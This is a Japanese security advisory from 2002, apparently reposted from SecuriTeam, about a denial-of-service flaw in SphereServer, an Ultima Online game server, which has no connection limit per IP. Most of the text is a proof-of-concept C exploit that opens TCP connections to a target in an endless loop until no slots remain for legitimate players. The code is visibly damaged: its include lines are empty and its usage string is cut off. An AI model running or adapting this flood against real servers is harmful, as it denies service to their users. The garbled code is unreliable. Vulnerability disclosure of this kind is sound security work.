2002年3月9日
概要:
SphereServer は、Ultima Online Role-play Server (Multiplayer) だ。一部の人々は、これを Free Role-play Worlds for a large community of
Players をホストする非公認サーバとして使用している。同ソフトウェアの開発者は、MenaSoft だ。この製品に IP 制限はないので(利用可能な接続スロットを使い尽くすことによって)誰でも数回接続することができ、それが同製品にサービス使用拒否をもたらす。
詳細:
脆弱なシステム
Sphere99x - Linux, FreeBSD, Win32
影響を受けないシステム
Sphere version 0.5x
この問題は、接続されている間はサーバがあなたをクライアントと見なす点にある(たとえ、あなたが認証プロセスに従ったコマンドを送信しなくてもだ)。数度、これを実行すると、max_connections に達し、全ての新規着信接続を阻む。
攻略手段:
/*
*
* www.h07.org
* H Zero Seven
* Unix Security Research Team
*
* Sphere Ultima Online Server - Denial of Service Vulnerability
* poc-exploit...
*
* Simple code to eat all connections from the gameserver, so other
* peoples could not connect to the server.
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
int Connect(int ip, int port)
{
int fd;
struct sockaddr_in tgt;
fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (fd<0) return -1;
memset(&tgt,0,sizeof(struct sockaddr_in));
tgt.sin_port = htons(port);
tgt.sin_family = AF_INET;
tgt.sin_addr.s_addr = ip;
if (connect(fd,(struct sockaddr*)&tgt,sizeof(struct sockaddr))<0) return -1; return fd;
}
int sprint(int fd, const char *str,...)
{
va_list args;
char buf[4096];
memset(&buf,0,sizeof(buf));
va_start(args,str);
vsnprintf(buf,sizeof(buf),str,args);
return(write(fd,buf,strlen(buf)));
}
int main(int argc, char *argv[])
{
int fd;
struct sockaddr_in box;
fprintf(stderr, "SphereServer DoS Exploit [poc]");
fprintf(stderr, "H Zero Seven - Unix Security Research Team - www.h07.org"); if (argc < 2) {
fprintf(stderr, "usage: %s
}
fprintf(stderr,"for the full advisory regarding this vulnerability visit www.h07.org ... "); fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (fd<0) {
perror("socket() ");
return;
}
fprintf(stderr,"Attacking sphere : ");
for (;;) {
int sock;
sock = Connect(inet_addr(argv[1]),(argc>2)?(atoi(argv[2])):3128); if (sock<0) {
sleep(10);
continue;
}
fprintf(stderr, ".*");
}
}
追加情報:
H Zero Seven がこの情報を提供した。
[情報提供:SecuriTeam]
http://www.securiteam.com/